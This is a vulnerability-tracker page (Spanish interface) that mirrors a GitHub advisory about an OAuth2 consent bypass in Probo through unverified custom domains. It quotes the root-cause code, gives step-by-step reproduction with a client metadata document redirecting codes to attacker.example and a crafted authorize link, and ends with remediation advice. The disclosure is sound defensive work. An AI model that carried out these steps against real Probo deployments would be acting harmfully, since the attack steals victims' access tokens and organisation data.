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Advisory · GitHub · Go · go.probo.inc/probo

GHSA-4JP4-HF8M-XXHV

OAuth2 consent bypass via unverified compliance-portal custom domain

Texto original en inglés · Ver en español

Sin parche publicado
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CVSS 3.1
8.7
Alta
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
ParcheSin parcheEl fabricante no ha publicado corrección
Exposición95 dDesde la divulgación, 18 ago 2026, 1:31 a. m.
Detección92 dDesde la divulgación hasta su ingreso al índice
Decisión estimadaSeguir de cerca
Monitorear y programar la remediación
Estimación de Llama con el árbol SSVC de CISA a partir de vector CVSS 3.1 y la evidencia de explotación (sin evaluación oficial): sin explotación conocida, no automatizable e impacto técnico total. No hay versión corregida: aplique mitigaciones.
Ojo de llama: esto puede escalar.Seguimiento de cerca: yo sé de mirar de cerca.
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Monitoreo
Detectada +1
18 ago 26
18 nov 26
21 nov 26
18 ago 26
11 sept 26
5 oct 26
29 oct 26
21 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-4JP4-HF8M-XXHV divulgada · CVSS 8.7 (GitHub)
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

Summary

The OAuth2 authorization server grants `allowed_skip_consent` to any Client ID Metadata
Document (CIMD) client whose `client_id` URL is hosted on any compliance-portal custom
domain. Custom domains can be registered for hosts the registrant does not own, and are
never verified.

An attacker who signs up for a free account therefore obtains an OAuth2 client for which the
consent screen is skipped entirely. Any authenticated Probo user who follows a single link
delivers an authorization code to the attacker, who exchanges it for a bearer token acting
as that user.

The attacker needs no domain and no server: the CIMD document can be hosted on a free
public service, and its host can then be registered as the attacker's "custom domain".

Root cause

`pkg/probod/probod.go:749-761`:

iamService.OAuth2ServerService.SetCIMDAllow(
    func(ctx context.Context, clientIDURL string) (oauth2.CIMDAllowance, error) {
        host, ok := oauth2.CIMDClientIDHost(clientIDURL)
        if ok {
            _, err := visitorService.GetPortalByDomainName(ctx, host)
            if err == nil {
                return oauth2.CIMDAllowanceAllowedSkipConsent, nil
            }
        }
        return staticCIMDAllow(ctx, clientIDURL)
    },
)

The branch is unconditional and returns before the operator-configured allowlist
(`CIMDAllowedClientIDs`), so no configuration enables or disables it.

`GetPortalByDomainName` (`pkg/complianceportal/visitor/service.go:198`) is a bare
`CustomDomain.LoadByDomain` + `CompliancePortal.LoadByDomainID` under `NewNoScope()` — no
verification predicate, no tenant boundary.

The correct helper already exists in your codebase. `IsVerifiedRedirectHost`
(`visitor/service.go:231`) combines `GetPortalByDomainName` with
`IsCustomDomainVerified` (`management/domain_service.go:143`, ACME certificate status), and
is already used for the analogous "is this host a legitimate redirect target?" decision. The
CIMD path calls only the unverified half.

Consent is then skipped in `pkg/iam/oauth2/service.go:1537-1556`:

if client.TokenEndpointAuthMethod == coredata.OAuth2ClientTokenEndpointAuthMethodNone {
    // RFC 6819 §5.2.3.2 / §5.2.4.1: public clients must always
    // require explicit user consent since they cannot be strongly authenticated.
    allowance, _ := s.cimdAllowance(ctx, client.ExternalClientID)
    skipConsent = allowance.SkipsConsent()
}
if skipConsent {
    code, err = s.issueAuthorizationCode(...)   // no consent row, no user interaction
    return nil
}

The comment states the correct rule; the code overrides it.

Why no attacker infrastructure is required

  • `createCustomDomain` accepts any host string with no proof of possession. We
  • No same-origin requirement. `validateCIMDRedirectURI` (`cimd.go:287-320`) accepts any
  • Document requirements (`cimd.go:233-285`) are only: `client_id` equal to the URL,

Steps to reproduce

  1. Sign up (open registration), create an organisation and a compliance portal.
  2. Host a CIMD document at a public HTTPS URL `U` (a GitHub gist raw URL works):

```json
{
"client_id": "<U>",
"client_name": "Probo Sync",
"redirect_uris": ["https://attacker.example/cb"],
"token_endpoint_auth_method": "none"
}
```

Omitting `scope` makes the client inherit `AllWriteScopes()` (`cimd.go:507-510`).
3. `createCustomDomain(compliancePortalId, domain: "<host of U>")` — no ownership proof.
4. Send an authenticated user this link (one click):

```
GET /api/connect/v1/oauth2/authorize
?response_type=code
&client_id=<U>
&redirect_uri=https://attacker.example/cb
&code_challenge=<S256 of attacker verifier>
&code_challenge_method=S256
```
5. Exchange the code at `/api/connect/v1/oauth2/token` (public client, no secret, attacker's
own PKCE verifier).

Script: `poc/poc_oauth2_consent_bypass.sh`.

Observed result

HTTP/1.1 302
location: https://attacker-poc.example/cb?code=b91c49c2…&state=poc-state

No consent screen. Confirmed server-side: `SELECT count(*) FROM iam_oauth2_consents` → 0.

The code exchanged for an `access_token`, a `refresh_token` and an `id_token` whose `sub`
and `email` are the victim's, carrying 23 scopes including `offline_access`. The token
then returned the victim's identity from `/oauth2/userinfo` and the victim's organisation
through `POST /api/mcp/v1` (`listOrganizations`).

Registered clients, from the database:

 external_client_id                                              | visibility | auth_method | scopes
 https://jsonblob.com/api/jsonBlob/019ff038-…                    | public     | none        | 23
 https://gist.githubusercontent.com/…/oauth-client-metadata.json | public     | none        | 23

Impact — and its limits

The token acts as the victim on data APIs (console GraphQL, MCP) for one hour, renewable via
the `offline_access` refresh token.

This is not an account takeover, and we do not claim one. The `@sessionOnly` directive
correctly blocks bearer tokens from every account primitive — password and email changes,
personal API keys (`personal_api_key.graphql:11,16,38,43`), OAuth2 tokens and consents,
sessions, SAML/SCIM configuration. We verified these return `FORBIDDEN`.

Impact is bounded by the victim's role, since role policies are evaluated after scope:

  • EMPLOYEE / VIEWER victim → little to nothing; a max-scope token cannot even list that
  • OWNER / ADMIN victim → read and write across the organisation's compliance data, plus the

That role dependency is why we rate this High rather than Critical. On the CVSS vector, the
`S:` axis is genuinely debatable (`S:U` ≈ 8.0, `S:C` ≈ 8.7); both remain High.

Remediation

  1. One-line fix: in `probod.go:753`, call `IsVerifiedRedirectHost` instead of
  2. Better: do not derive OAuth2 trust from a compliance-portal custom domain at all. A
  3. Require proof of possession before a custom domain is usable for anything.
  4. Never skip consent for public clients, per the RFC 6819 comment already in the code.
  5. Require `redirect_uris` to be same-origin with the CIMD `client_id` host.
  6. Do not default a CIMD client to `AllWriteScopes()` when `scope` is absent.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
PrivilegiosPR:L
NingunoBajosAltos
InteracciónUI:R
NingunaRequerida
AlcanceS:C
CambiadoSin cambio
ConfidencialidadC:H
AltoBajoNinguno
IntegridadI:H
AltoBajoNinguno
DisponibilidadA:N
AltoBajoNinguno
Score de explotaciónQué tan fácil y probable es que la exploten
7.2/ 10Alto
Vector 7.2 (fácil) · sin evidencia de explotación.
Versiones

Rangos afectados

Afectada Corregida Última
go.probo.inc/probo≤ 0.255.0
v0.216.1
0.255.0
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
gogo.probo.inc/probo
Sin parche — — v0.216.1 afectada
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/getprobo/probo/security/advisories/GHSA-4jp4-hf8m-xxhv

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.